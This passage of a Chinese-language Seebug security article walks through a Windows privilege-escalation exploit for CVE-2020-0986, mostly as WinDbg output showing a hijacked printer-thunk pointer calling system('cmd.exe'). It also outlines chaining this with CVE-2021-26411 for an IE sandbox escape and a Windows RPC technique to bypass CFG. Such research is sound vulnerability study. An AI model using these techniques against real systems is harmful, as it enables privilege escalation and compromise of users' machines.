   Set bu breakpoint

   (00007ffa`c72e31e8)   gdi32full!fpDocumentEvent   |  (00007ffa`c72e31f0)   gdi32full!fpQuerySpoolMode
   Exact matches:
   0:006> p
   gdi32full!GdiPrinterThunk+0x2b3:
   00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
   .........................................................
   .........................................................
   0:006> 
   gdi32full!GdiPrinterThunk+0x1fd4a:
   00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
   0:006> r
   rax=0000000000a20800 rbx=0000000000a20160 rcx=0000000000a20060
   rdx=00007ffac72e31e8 rsi=0000000000a20088 rdi=0000000000cdca80
   rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9
    r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
   r11=000000000267f150 r12=0000000000000000 r13=0000000000000001
   r14=0000000000000010 r15=0000000000000000
   iopl=0         nv up ei ng nz ac po cy
   cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
   gdi32full!GdiPrinterThunk+0x1fd4a:
   00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
   0:006> p
   gdi32full!GdiPrinterThunk+0x1fd4f:
   00007ffa`c71c56ff 90              nop
   0:006> dq 00000000`00a20060 l2
   00000000`00a20060  07ffa3f6`68d74000 00000000`00000000

2.將編碼后fpSystem填充到BaseAddress+fpDocOffset地址處。

   0:006> 
   gdi32full!GdiPrinterThunk+0x1fd4a:
   00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
   0:006> r
   rax=0000000000a20800 rbx=0000000000a20160 rcx=00007ffac72e31e8
   rdx=0000000000a20810 rsi=0000000000a20088 rdi=0000000000cdca80
   rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9
    r8=0000000000000008  r9=0000000000000100 r10=00000fff5920c6c0
   r11=000000000267f150 r12=0000000000000000 r13=0000000000000001
   r14=0000000000000010 r15=0000000000000000
   iopl=0         nv up ei ng nz ac po cy
   cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
   gdi32full!GdiPrinterThunk+0x1fd4a:
   00007ffa`c71c56fa e834d5feff      call    gdi32full!memcpy (00007ffa`c71b2c33)
   0:006> dq 00007ffac72e31e8
   00007ffa`c72e31e8  07ffa3f6`68d74000 07ffa3f6`03994000
   00007ffa`c72e31f8  07ffa3f6`038b4000 07ffa3f6`6adf4000
   00007ffa`c72e3208  07ffa3f6`03a54000 07ffa3f6`0d254000
   00007ffa`c72e3218  07ffa3f6`0b0f4000 07ffa3f6`06d94000
   00007ffa`c72e3228  00080000`00000000 07ffa3f6`695f4000
   00007ffa`c72e3238  07ffa3f6`09a04000 07ffa3f6`6fd14000
   00007ffa`c72e3248  00000000`00000000 00000000`00000000
   00007ffa`c72e3258  00000000`00000000 ffffffff`ffffffff
   0:006> p
   gdi32full!GdiPrinterThunk+0x1fd4f:
   00007ffa`c71c56ff 90              nop
   0:006> dq 00007ffac72e31e8
   00007ffa`c72e31e8  07ffa46a`c7c34000 07ffa3f6`03994000
   00007ffa`c72e31f8  07ffa3f6`038b4000 07ffa3f6`6adf4000
   00007ffa`c72e3208  07ffa3f6`03a54000 07ffa3f6`0d254000
   00007ffa`c72e3218  07ffa3f6`0b0f4000 07ffa3f6`06d94000
   00007ffa`c72e3228  00080000`00000000 07ffa3f6`695f4000
   00007ffa`c72e3238  07ffa3f6`09a04000 07ffa3f6`6fd14000
   00007ffa`c72e3248  00000000`00000000 00000000`00000000
   00007ffa`c72e3258  00000000`00000000 ffffffff`ffffffff

3.最后再發送一次LPC消息,同時在LPC消息中包含system函數的參數,實現漏洞利用

   0:006> 
   gdi32full!GdiPrinterThunk+0x2ac:
   00007ffa`c71a5c5c 488b0d85d51300  mov     rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa46ac7c34000
   0:006> ln 00007ffa`c72e31e8
   Browse module
   Set bu breakpoint

   (00007ffa`c72e31e8)   gdi32full!fpDocumentEvent   |  (00007ffa`c72e31f0)   gdi32full!fpQuerySpoolMode
   Exact matches:
   0:006> p
   gdi32full!GdiPrinterThunk+0x2b3:
   00007ffa`c71a5c63 48ff1536960a00  call    qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
   0:006> p
   gdi32full!GdiPrinterThunk+0x2ba:
   00007ffa`c71a5c6a 0f1f440000      nop     dword ptr [rax+rax]
   0:006> ln rax
   Browse module
   Set bu breakpoint

   (00007ffa`c8f87ec0)   msvcrt!system   |  (00007ffa`c8f87fe0)   msvcrt!capture_argv
   Exact matches:
   0:006> 
   gdi32full!GdiPrinterThunk+0x2bf:
   00007ffa`c71a5c6f 488b4f50        mov     rcx,qword ptr [rdi+50h] ds:00000000`00cdcad0=0000000000a20800
   0:006> 
   gdi32full!GdiPrinterThunk+0x2c3:
   00007ffa`c71a5c73 448b4f3c        mov     r9d,dword ptr [rdi+3Ch] ds:00000000`00cdcabc=00000020
   .........................................................
   .........................................................
   0:006> t
   ntdll!LdrpDispatchUserCallTarget:
   00007ffa`c946c590 4c8b1de9dd0e00  mov     r11,qword ptr [ntdll!LdrSystemDllInitBlock+0xb0 (00007ffa`c955a380)] ds:00007ffa`c955a380=00007df5fbab0000
   .........................................................
   .........................................................
   0:006> 
   ntdll!LdrpDispatchUserCallTarget+0x3b:
   00007ffa`c946c5cb 48ffe0          jmp     rax {msvcrt!system (00007ffa`c8f87ec0)}
   0:006> da rcx
   00000000`00a20200  "cmd.exe"

1623661001087

至此,我們已經完成的CVE-2020-0986的提權EXP編寫。

結合CVE-2021-26411漏洞實現IE沙箱逃逸

參考 @iamelli0t師傅在看雪SDC的演講,IE漏洞和提權漏洞結合流程如下:

  1. 利用IE漏洞實現RCE,執行的shellcode功能為,反射注入一個DLL。
  2. DLL的功能為遠程下載并執行提權exe。

1623840877615

如上圖所示,CVE-2021-26411配合CVE-2020-0986實現了沙箱逃逸,拿到Medium Integrity權限的shell。

題外話

CVE-2021-26411的EXP中使用Windows RPC的方式繞過CFG,這種手法較為新穎,簡單使用, @iamelli0t師傅在他的博客中也提到 “有理由相信,它將成為繞過 CFG 緩解的一種新的有效利用技術 ”。

CVE-2021-26411的EXP利用Windows RPC方式繞過CFG流程如下:

  1. 利用漏洞構造一個任意地址讀寫原語
  2. 替換虛表函數指針實現 JavaScript代碼調用rpcrt4!NdrServerCall2
  3. 偽造RPC_MESSAGE
  4. 利用JavaScript調用rpcrt4!NdrServerCall2,執行VirtualProtect,修改RPCRT4!__guard_check_icall_fptr的內存屬性
  5. 替換ntdll!LdrpValidateUserCallTarget指針為KiFastSystemCallRet
  6. 將第4步修改的內存屬性改回原屬性
  7. 利用JavaScript調用rpcrt4!NdrServerCall2執行shellcode

本人研究完 CVE-2021-26411的EXP后發現此EXP中使用的RPC手法是通用的,也就是說,在其他漏洞中只要能構造出任意地址讀寫原語,那一般都可以直接復用此RPC手法實現bypass CFG,一番研究后,本人在CVE-2020-17053上實現了此RPC手法bypass CFG,這里就不再展示。

參考鏈接

[1] https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd

[2] https://zhuanlan.kanxue.com/article-14133.htm

[3] https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-0986.html

[4] https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd

[5] https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/

[6] https://enki.co.kr/blog/2021/02/04/ie_0day.html

[7] https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html

[8] https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1606/